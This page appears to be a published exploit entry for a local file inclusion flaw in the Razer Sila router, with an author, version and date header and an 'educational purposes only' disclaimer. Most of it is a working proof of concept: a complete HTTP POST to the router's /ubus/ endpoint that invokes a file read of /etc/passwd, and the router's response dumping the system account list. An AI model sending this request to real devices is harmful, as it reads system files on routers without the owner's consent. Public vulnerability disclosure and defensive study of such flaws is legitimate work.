Razer sila local file inclusion (lfi) Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2022-04-11 | Type : webapps | Platform : hardware
This exploit / vulnerability Razer sila local file inclusion (lfi) is for educational purposes only and if it is used you will do on your own risk!

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[+] Code ...

# Exploit Title: Razer Sila - Local File Inclusion (LFI)
# Google Dork: N/A
# Date: 4/9/2022
# Exploit Author: Kevin Randall
# Vendor Homepage: https://www2.razer.com/ap-en/desktops-and-networking/razer-sila
# Software Link: https://www2.razer.com/ap-en/desktops-and-networking/razer-sila
# Version: RazerSila-2.0.441_api-2.0.418
# Tested on: Razer Sila Router
# CVE N/A

# Proof of Concept

# Request
POST /ubus/ HTTP/1.1
Host: 192.168.8.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 123
Origin: https://192.168.8.1
Referer: https://192.168.8.1/
Te: trailers
Connection: close

{"jsonrpc":"2.0","id":3,"method":"call","params":["4183f72884a98d7952d953dd9439a1d1","file","read",{"path":"/etc/passwd"}]}

# Reponse
HTTP/1.1 200 OK
Connection: close
Content-Type: application/json
Content-Length: 537

{"jsonrpc":"2.0","id":3,"result":[0,{"data":"root:x:0:0:root:\/root:\/bin\/ash\ndaemon:*:1:1:daemon:\/var:\/bin\/false\nftp:*:55:55:ftp:\/home\/ftp:\/bin\/false\nnetwork:*:101:101:network:\/var:\/bin\/false\nnobody:*:65534:65534:nobody:\/var:\/bin\/false\ndnsmasq:x:453:453:dnsmasq:\/var\/run\/dnsmasq:\/bin\/false\nmosquitto:x:200:200:mosquitto:\/var\/run\/mosquitto:\/bin\/false\nlldp:x:121:129:lldp:\/var\/run\/lldp:\/bin\/false\nadmin:x:1000:1000:root:\/home\/admin:\/bin\/false\nportal:x:1001:1001::\/home\/portal:\/bin\/false\n"}]}